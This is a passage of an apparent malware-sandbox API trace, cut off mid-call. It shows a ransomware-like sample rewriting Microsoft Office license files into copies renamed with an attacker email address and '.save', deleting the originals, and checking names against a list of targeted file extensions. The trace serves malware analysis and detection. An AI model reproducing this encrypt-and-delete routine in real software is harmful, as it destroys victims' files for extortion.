0x0 [0191.468] ReadFile (in: hFile=0x54c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2b9f, lpOverlapped=0x0) returned 1 [0191.474] WriteFile (in: hFile=0x520, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0191.682] ReadFile (in: hFile=0x54c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0191.682] WriteFile (in: hFile=0x520, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x10e, lpOverlapped=0x0) returned 1 [0191.682] SetEndOfFile (hFile=0x520) returned 1 [0191.682] CloseHandle (hObject=0x520) returned 1 [0191.682] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.682] SetEndOfFile (hFile=0x54c) returned 1 [0191.687] CloseHandle (hObject=0x54c) returned 1 [0191.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0191.754] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms")) returned 1 [0192.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0192.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0192.288] lstrlenW (lpString=".doc") returned 4 [0192.288] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.288] lstrlenW (lpString=".docx") returned 5 [0192.288] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.288] lstrlenW (lpString=".pdf") returned 4 [0192.288] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.288] lstrlenW (lpString=".xls") returned 4 [0192.288] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.289] lstrlenW (lpString=".xlsx") returned 5 [0192.289] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.289] lstrlenW (lpString=".ppt") returned 4 [0192.289] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0192.289] lstrlenW (lpString=".zip") returned 4 [0192.289] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.289] lstrlenW (lpString=".rar") returned 4 [0192.289] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.289] lstrlenW (lpString=".bz2") returned 4 [0192.289] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.289] lstrlenW (lpString=".7z") returned 3 [0192.289] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0192.289] lstrlenW (lpString=".dbf") returned 4 [0192.289] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0192.290] lstrlenW (lpString=".1cd") returned 4 [0192.290] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0192.290] lstrlenW (lpString=".jpg") returned 4 [0192.290] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.291] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=10635) returned 1 [0192.291] CloseHandle (hObject=0x56c) returned 1 [0192.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms")) returned 0x220 [0192.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0192.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0192.292] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0192.292] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0192.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0192.295] GetLastError () returned 0x0 [0192.295] ReadFile (in: hFile=0x56c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x298b, lpOverlapped=0x0) returned 1 [0192.298] WriteFile (in: hFile=0x51c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2990, lpOverlapped=0x0) returned 1 [0192.299] ReadFile (in: hFile=0x56c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0192.300] WriteFile (in: hFile=0x51c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x106, lpOverlapped=0x0) returned 1 [0192.300] SetEndOfFile (hFile=0x51c) returned 1 [0192.300] CloseHandle (hObject=0x51c) returned 1 [0192.300] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0192.300] SetEndOfFile (hFile=0x56c) returned 1 [0192.304] CloseHandle (hObject=0x56c) returned 1 [0192.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0192.305] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms")) returned 1 [0192.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0192.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0192.307] lstrlenW (lpString=".doc") returned 4 [0192.307] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.307] lstrlenW (lpString=".docx") returned 5 [0192.307] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.307] lstrlenW (lpString=".pdf") returned 4 [0192.307] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.307] lstrlenW (lpString=".xls") returned 4 [0192.307] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.307] lstrlenW (lpString=".xlsx") returned 5 [0192.307] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.307] lstrlenW (lpString=".ppt") returned 4 [0192.307] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0192.307] lstrlenW (lpString=".zip") returned 4 [0192.307] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.307] lstrlenW (lpString=".rar") returned 4 [0192.307] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.307] lstrlenW (lpString=".bz2") returned 4 [0192.307] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.307] lstrlenW (lpString=".7z") returned 3 [0192.308] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0192.308] lstrlenW (lpString=".dbf") returned 4 [0192.308] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0192.308] lstrlenW (lpString=".1cd") returned 4 [0192.308] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0192.308] lstrlenW (lpString=".jpg") returned 4 [0192.308] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.309] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=26464) returned 1 [0192.309] CloseHandle (hObject=0x56c) returned 1 [0192.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms")) returned 0x220 [0192.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0192.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0192.311] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0192.311] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0192.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0192.312] GetLastError () returned 0x0 [0192.312] ReadFile (in: hFile=0x56c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x6760, lpOverlapped=0x0) returned 1 [0192.316] WriteFile (in: hFile=0x51c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x6770, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x6770, lpOverlapped=0x0) returned 1 [0192.318] ReadFile (in: hFile=0x56c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0192.318] WriteFile (in: hFile=0x51c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x108, lpOverlapped=0x0) returned 1 [0192.318] SetEndOfFile (hFile=0x51c) returned 1 [0192.318] CloseHandle (hObject=0x51c) returned 1 [0192.318] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0192.318] SetEndOfFile (hFile=0x56c) returned 1 [0192.323] CloseHandle (hObject=0x56c) returned 1 [0192.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0192.500] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms")) returned 1 [0192.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0192.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0192.668] lstrlenW (lpString=".doc") returned 4 [0192.668] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.668] lstrlenW (lpString=".docx") returned 5 [0192.668] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.668] lstrlenW (lpString=".pdf") returned 4 [0192.668] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.668] lstrlenW (lpString=".xls") returned 4 [0192.668] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.668] lstrlenW (lpString=".xlsx") returned 5 [0192.668] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.668] lstrlenW (lpString=".ppt") returned 4 [0192.668] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0192.668] lstrlenW (lpString=".zip") returned 4 [0192.668] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.668] lstrlenW (lpString=".rar") returned 4 [0192.668] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.669] lstrlenW (lpString=".bz2") returned 4 [0192.669] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.669] lstrlenW (lpString=".7z") returned 3 [0192.669] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0192.669] lstrlenW (lpString=".dbf") returned 4 [0192.669] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0192.669] lstrlenW (lpString=".1cd") returned 4 [0192.669] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0192.669] lstrlenW (lpString=".jpg") returned 4 [0192.669] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.832] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=19927) returned 1 [0192.832] CloseHandle (hObject=0x550) returned 1 [0192.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0192.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0192.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0192.993] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0192.993] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0192.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0192.995] GetLastError () returned 0x0 [0192.995] ReadFile (in: hFile=0x51c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x4dd7, lpOverlapped=0x0) returned 1 [0192.998] WriteFile (in: hFile=0x528, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x4de0, lpOverlapped=0x0) returned 1 [0193.001] ReadFile (in: hFile=0x51c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0193.001] WriteFile (in: hFile=0x528, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x10e, lpOverlapped=0x0) returned 1 [0193.001] SetEndOfFile (hFile=0x528) returned 1 [0193.001] CloseHandle (hObject=0x528) returned 1 [0193.001] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.001] SetEndOfFile (hFile=0x51c) returned 1 [0193.006] CloseHandle (hObject=0x51c) returned 1 [0193.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.007] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms")) returned 1 [0193.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0193.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0193.009] lstrlenW (lpString=".doc") returned 4 [0193.009] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.009] lstrlenW (lpString=".docx") returned 5 [0193.009] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.009] lstrlenW (lpString=".pdf") returned 4 [0193.009] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.009] lstrlenW (lpString=".xls") returned 4 [0193.009] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.009] lstrlenW (lpString=".xlsx") returned 5 [0193.009] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.009] lstrlenW (lpString=".ppt") returned 4 [0193.009] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0193.009] lstrlenW (lpString=".zip") returned 4 [0193.009] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.010] lstrlenW (lpString=".rar") returned 4 [0193.010] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.010] lstrlenW (lpString=".bz2") returned 4 [0193.010] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.010] lstrlenW (lpString=".7z") returned 3 [0193.010] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0193.010] lstrlenW (lpString=".dbf") returned 4 [0193.010] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0193.010] lstrlenW (lpString=".1cd") returned 4 [0193.010] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0193.010] lstrlenW (lpString=".jpg") returned 4 [0193.010] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0193.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0193.011] lstrlenW (lpString=".doc") returned 4 [0193.011] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.011] lstrlenW (lpString=".docx") returned 5 [0193.011] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.011] lstrlenW (lpString=".pdf") returned 4 [0193.011] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.011] lstrlenW (lpString=".xls") returned 4 [0193.011] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.011] lstrlenW (lpString=".xlsx") returned 5 [0193.011] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.011] lstrlenW (lpString=".ppt") returned 4 [0193.011] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0193.011] lstrlenW (lpString=".zip") returned 4 [0193.011] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.011] lstrlenW (lpString=".rar") returned 4 [0193.011] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.012] lstrlenW (lpString=".bz2") returned 4 [0193.012] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.012] lstrlenW (lpString=".7z") returned 3 [0193.012] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0193.012] lstrlenW (lpString=".dbf") returned 4 [0193.012] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0193.012] lstrlenW (lpString=".1cd") returned 4 [0193.012] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0193.012] lstrlenW (lpString=".jpg") returned 4 [0193.012] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.013] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0193.013] lstrlenW (lpString="MondoR_Retail-pl.xrm-ms") returned 23 [0193.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0193.015] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=10627) returned 1 [0193.015] CloseHandle (hObject=0x51c) returned 1 [0193.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms")) returned 0x220 [0193.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0193.017] SetFilePointerEx (in: hFile=0x51c, 